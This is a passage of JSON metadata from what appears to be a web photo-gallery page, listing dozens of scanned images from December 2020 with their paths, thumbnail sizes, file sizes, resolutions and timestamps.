    S22C-620121513280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513280_0001.jpg","width":340,"height":260},"fileSize":311877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513280_0001.jpg","dates":{"dateTaken":1608392487},"fileDate":"2020-12-19T16:41:27.511Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:27.511Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513281_0001.jpg","image":{"path":"slides\/S22C-620121513281_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513281 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513281_0001.jpg","width":340,"height":260},"fileSize":406985,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513281_0001.jpg","dates":{"dateTaken":1608392489},"fileDate":"2020-12-19T16:41:29.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:29.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513282_0001.jpg","image":{"path":"slides\/S22C-620121513282_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513282 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513282_0001.jpg","width":340,"height":260},"fileSize":501560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513282_0001.jpg","dates":{"dateTaken":1608392490},"fileDate":"2020-12-19T16:41:30.328Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:30.328Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513283_0001.jpg","image":{"path":"slides\/S22C-620121513283_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513283 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513283_0001.jpg","width":340,"height":260},"fileSize":351053,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513283_0001.jpg","dates":{"dateTaken":1608392491},"fileDate":"2020-12-19T16:41:31.670Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:31.670Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513290_0001.jpg","image":{"path":"slides\/S22C-620121513290_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513290 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513290_0001.jpg","width":340,"height":260},"fileSize":389087,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513290_0001.jpg","dates":{"dateTaken":1608392492},"fileDate":"2020-12-19T16:41:32.976Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:32.976Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513291_0001.jpg","image":{"path":"slides\/S22C-620121513291_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513291 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513291_0001.jpg","width":340,"height":260},"fileSize":311130,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513291_0001.jpg","dates":{"dateTaken":1608392496},"fileDate":"2020-12-19T16:41:36.279Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:36.279Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513292_0001.jpg","image":{"path":"slides\/S22C-620121513292_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513292 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513292_0001.jpg","width":340,"height":260},"fileSize":502504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513292_0001.jpg","dates":{"dateTaken":1608392498},"fileDate":"2020-12-19T16:41:38.821Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:38.821Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513293_0001.jpg","image":{"path":"slides\/S22C-620121513293_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513293 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513293_0001.jpg","width":340,"height":260},"fileSize":512540,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513293_0001.jpg","dates":{"dateTaken":1608392500},"fileDate":"2020-12-19T16:41:40.423Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:40.423Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513300_0001.jpg","image":{"path":"slides\/S22C-620121513300_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513300 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513300_0001.jpg","width":340,"height":260},"fileSize":384288,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513300_0001.jpg","dates":{"dateTaken":1608392502},"fileDate":"2020-12-19T16:41:42.722Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:42.722Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513302_0001.jpg","image":{"path":"slides\/S22C-620121513302_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513302 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513302_0001.jpg","width":340,"height":260},"fileSize":127877,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513302_0001.jpg","dates":{"dateTaken":1608392505},"fileDate":"2020-12-19T16:41:45.942Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:45.942Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513310_0001.jpg","image":{"path":"slides\/S22C-620121513310_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513310 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513310_0001.jpg","width":340,"height":260},"fileSize":215447,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513310_0001.jpg","dates":{"dateTaken":1608392508},"fileDate":"2020-12-19T16:41:48.368Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:48.368Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513311_0001.jpg","image":{"path":"slides\/S22C-620121513311_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513311 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513311_0001.jpg","width":340,"height":260},"fileSize":187378,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513311_0001.jpg","dates":{"dateTaken":1608392511},"fileDate":"2020-12-19T16:41:51.705Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:51.705Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513312_0001.jpg","image":{"path":"slides\/S22C-620121513312_0001.jpg","width":1000,"height":708},"imageCaption":"

    S22C-620121513312 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513312_0001.jpg","width":340,"height":260},"fileSize":357716,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513312_0001.jpg","dates":{"dateTaken":1608392513},"fileDate":"2020-12-19T16:41:53.357Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:53.357Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513321_0001.jpg","image":{"path":"slides\/S22C-620121513321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513321_0001.jpg","width":340,"height":260},"fileSize":488900,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513321_0001.jpg","dates":{"dateTaken":1608392519},"fileDate":"2020-12-19T16:41:59.387Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:59.387Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513340_0001.jpg","image":{"path":"slides\/S22C-620121513340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513340_0001.jpg","width":340,"height":260},"fileSize":690152,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513340_0001.jpg","dates":{"dateTaken":1608392524},"fileDate":"2020-12-19T16:42:04.273Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:04.273Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513341_0001.jpg","image":{"path":"slides\/S22C-620121513341_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513341_0001.jpg","width":340,"height":260},"fileSize":655639,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513341_0001.jpg","dates":{"dateTaken":1608392525},"fileDate":"2020-12-19T16:42:05.646Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:05.646Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513342_0001.jpg","image":{"path":"slides\/S22C-620121513342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513342_0001.jpg","width":340,"height":260},"fileSize":514818,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513342_0001.jpg","dates":{"dateTaken":1608392526},"fileDate":"2020-12-19T16:42:06.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:06.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513350_0001.jpg","image":{"path":"slides\/S22C-620121513350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513350_0001.jpg","width":340,"height":260},"fileSize":472046,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513350_0001.jpg","dates":{"dateTaken":1608392527},"fileDate":"2020-12-19T16:42:07.939Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:07.939Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513351_0001.jpg","image":{"path":"slides\/S22C-620121513351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513351_0001.jpg","width":340,"height":260},"fileSize":452688,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513351_0001.jpg","dates":{"dateTaken":1608392529},"fileDate":"2020-12-19T16:42:09.100Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:09.100Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513360_0001.jpg","image":{"path":"slides\/S22C-620121513360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513360_0001.jpg","width":340,"height":260},"fileSize":420499,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513360_0001.jpg","dates":{"dateTaken":1608392531},"fileDate":"2020-12-19T16:42:11.60Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:11.60Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515310_0001.jpg","image":{"path":"slides\/S22C-620121515310_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515310 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515310_0001.jpg","width":340,"height":260},"fileSize":580006,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515310_0001.jpg","dates":{"dateTaken":1608392532},"fileDate":"2020-12-19T16:42:12.88Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:12.88Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515311_0001.jpg","image":{"path":"slides\/S22C-620121515311_0001.jpg","width":492,"height":800},"imageCaption":"

    S22C-620121515311 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515311_0001.jpg","width":340,"height":260},"fileSize":347422,"photodata":"

    Auflösung<\/b> 2600 x 1600<\/i><\/p>","name":"S22C-620121515311_0001.jpg","dates":{"dateTaken":1608392540},"fileDate":"2020-12-19T16:42:20.570Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:20.570Z","resolution":"2600 x 1600"}},{"path":"S22C-620121515320_0001.jpg","image":{"path":"slides\/S22C-620121515320_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515320 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515320_0001.jpg","width":340,"height":260},"fileSize":412266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515320_0001.jpg","dates":{"dateTaken":1608392543},"fileDate":"2020-12-19T16:42:23.486Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:23.486Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515321_0001.jpg","image":{"path":"slides\/S22C-620121515321_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515321 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515321_0001.jpg","width":340,"height":260},"fileSize":484037,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515321_0001.jpg","dates":{"dateTaken":1608392544},"fileDate":"2020-12-19T16:42:24.868Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:24.868Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515322_0001.jpg","image":{"path":"slides\/S22C-620121515322_0001.jpg","width":578,"height":800},"imageCaption":"

    S22C-620121515322 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515322_0001.jpg","width":340,"height":260},"fileSize":271616,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121515322_0001.jpg","dates":{"dateTaken":1608392549},"fileDate":"2020-12-19T16:42:29.152Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:29.152Z","resolution":"1535 x 2125"}},{"path":"S22C-620121515323_0001.jpg","image":{"path":"slides\/S22C-620121515323_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515323 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515323_0001.jpg","width":340,"height":260},"fileSize":401502,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515323_0001.jpg","dates":{"dateTaken":1608392550},"fileDate":"2020-12-19T16:42:30.819Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:30.819Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515324_0001.jpg","image":{"path":"slides\/S22C-620121515324_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515324 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515324_0001.jpg","width":340,"height":260},"fileSize":440419,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515324_0001.jpg","dates":{"dateTaken":1608392552},"fileDate":"2020-12-19T16:42:32.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:32.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515331_0001.jpg","image":{"path":"slides\/S22C-620121515331_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515331_0001.jpg","width":340,"height":260},"fileSize":313471,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515331_0001.jpg","dates":{"dateTaken":1608392555},"fileDate":"2020-12-19T16:42:35.351Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:35.351Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515332_0001.jpg","image":{"path":"slides\/S22C-620121515332_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515332 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515332_0001.jpg","width":340,"height":260},"fileSize":505021,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515332_0001.jpg","dates":{"dateTaken":1608392556},"fileDate":"2020-12-19T16:42:36.688Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:36.688Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515333_0001.jpg","image":{"path":"slides\/S22C-620121515333_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515333 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515333_0001.jpg","width":340,"height":260},"fileSize":285556,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515333_0001.jpg","dates":{"dateTaken":1608392557},"fileDate":"2020-12-19T16:42:37.772Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:37.772Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515340_0001.jpg","image":{"path":"slides\/S22C-620121515340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515340_0001.jpg","width":340,"height":260},"fileSize":257741,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515340_0001.jpg","dates":{"dateTaken":1608392558},"fileDate":"2020-12-19T16:42:38.846Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:38.846Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515341_0001.jpg","image":{"path":"slides\/S22C-620121515341_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515341 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515341_0001.jpg","width":340,"height":260},"fileSize":701421,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515341_0001.jpg","dates":{"dateTaken":1608392559},"fileDate":"2020-12-19T16:42:39.869Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:39.869Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515342_0001.jpg","image":{"path":"slides\/S22C-620121515342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515342_0001.jpg","width":340,"height":260},"fileSize":359105,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515342_0001.jpg","dates":{"dateTaken":1608392561},"fileDate":"2020-12-19T16:42:41.238Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:41.238Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515343_0001.jpg","image":{"path":"slides\/S22C-620121515343_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515343 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515343_0001.jpg","width":340,"height":260},"fileSize":686816,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515343_0001.jpg","dates":{"dateTaken":1608392562},"fileDate":"2020-12-19T16:42:42.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:42.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515344_0001.jpg","image":{"path":"slides\/S22C-620121515344_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515344 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515344_0001.jpg","width":340,"height":260},"fileSize":578049,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515344_0001.jpg","dates":{"dateTaken":1608392564},"fileDate":"2020-12-19T16:42:44.150Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:44.150Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515350_0001.jpg","image":{"path":"slides\/S22C-620121515350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515350_0001.jpg","width":340,"height":260},"fileSize":754681,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515350_0001.jpg","dates":{"dateTaken":1608392565},"fileDate":"2020-12-19T16:42:45.159Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:45.159Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515351_0001.jpg","image":{"path":"slides\/S22C-620121515351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515351_0001.jpg","width":340,"height":260},"fileSize":408281,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515351_0001.jpg","dates":{"dateTaken":1608392566},"fileDate":"2020-12-19T16:42:46.169Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:46.169Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515352_0001.jpg","image":{"path":"slides\/S22C-620121515352_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515352 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515352_0001.jpg","width":340,"height":260},"fileSize":143849,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515352_0001.jpg","dates":{"dateTaken":1608392567},"fileDate":"2020-12-19T16:42:47.357Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:47.357Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515360_0001.jpg","image":{"path":"slides\/S22C-620121515360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515360_0001.jpg","width":340,"height":260},"fileSize":857458,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515360_0001.jpg","dates":{"dateTaken":1608392569},"fileDate":"2020-12-19T16:42:49.960Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:49.960Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515361_0001.jpg","image":{"path":"slides\/S22C-620121515361_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515361 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515361_0001.jpg","width":340,"height":260},"fileSize":1202134,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515361_0001.jpg","dates":{"dateTaken":1608392571},"fileDate":"2020-12-19T16:42:51.402Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:51.402Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515362_0001.jpg","image":{"path":"slides\/S22C-620121515362_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515362 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515362_0001.jpg","width":340,"height":260},"fileSize":247242,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515362_0001.jpg","dates":{"dateTaken":1608392572},"fileDate":"2020-12-19T16:42:52.610Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:52.610Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515363_0001.jpg","image":{"path":"slides\/S22C-620121515363_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515363 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515363_0001.jpg","width":340,"height":260},"fileSize":370527,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515363_0001.jpg","dates":{"dateTaken":1608392575},"fileDate":"2020-12-19T16:42:55.162Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:55.162Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515370_0001.jpg","image":{"path":"slides\/S22C-620121515370_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515370_0001.jpg","width":340,"height":260},"fileSize":603243,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515370_0001.jpg","dates":{"dateTaken":1608392577},"fileDate":"2020-12-19T16:42:57.189Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:57.189Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515371_0001.jpg","image":{"path":"slides\/S22C-620121515371_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515371_0001.jpg","width":340,"height":260},"fileSize":721277,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515371_0001.jpg","dates":{"dateTaken":1608392578},"fileDate":"2020-12-19T16:42:58.414Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:58.414Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515372_0001.jpg","image":{"path":"slides\/S22C-620121515372_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515372 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515372_0001.jpg","width":340,"height":260},"fileSize":364035,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515372_0001.jpg","dates":{"dateTaken":1608392579},"fileDate":"2020-12-19T16:42:59.544Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:59.544Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515410_0001.jpg","image":{"path":"slides\/S22C-620121515410_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515410 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515410_0001.jpg","width":340,"height":260},"fileSize":297345,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515410_0001.jpg","dates":{"dateTaken":1608392580},"fileDate":"2020-12-19T16:43:00.627Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:00.627Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515411_0001.jpg","image":{"path":"slides\/S22C-620121515411_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515411 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515411_0001.jpg","width":340,"height":260},"fileSize":238280,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515411_0001.jpg","dates":{"dateTaken":1608392581},"fileDate":"2020-12-19T16:43:01.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:01.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515412_0001.jpg","image":{"path":"slides\/S22C-620121515412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515412_0001.jpg","width":340,"height":260},"fileSize":379131,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515412_0001.jpg","dates":{"dateTaken":1608392583},"fileDate":"2020-12-19T16:43:03.18Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:03.18Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515413_0001.jpg","image":{"path":"slides\/S22C-620121515413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515413_0001.jpg","width":340,"height":260},"fileSize":357999,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515413_0001.jpg","dates":{"dateTaken":1608392584},"fileDate":"2020-12-19T16:43:04.331Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:04.331Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515414_0001.jpg","image":{"path":"slides\/S22C-620121515414_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515414 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515414_0001.jpg","width":340,"height":260},"fileSize":144650,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515414_0001.jpg","dates":{"dateTaken":1608392585},"fileDate":"2020-12-19T16:43:05.271Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:05.271Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515415_0001.jpg","image":{"path":"slides\/S22C-620121515415_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515415 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515415_0001.jpg","width":340,"height":260},"fileSize":342249,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515415_0001.jpg","dates":{"dateTaken":1608392586},"fileDate":"2020-12-19T16:43:06.317Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:06.317Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515420_0001.jpg","image":{"path":"slides\/S22C-620121515420_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515420_0001.jpg","width":340,"height":260},"fileSize":230109,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515420_0001.jpg","dates":{"dateTaken":1608392587},"fileDate":"2020-12-19T16:43:07.296Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:07.296Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515421_0001.jpg","image":{"path":"slides\/S22C-620121515421_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515421_0001.jpg","width":340,"height":260},"fileSize":587925,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515421_0001.jpg","dates":{"dateTaken":1608392589},"fileDate":"2020-12-19T16:43:09.226Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:09.226Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515422_0001.jpg","image":{"path":"slides\/S22C-620121515422_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515422_0001.jpg","width":340,"height":260},"fileSize":749227,"photodata":"

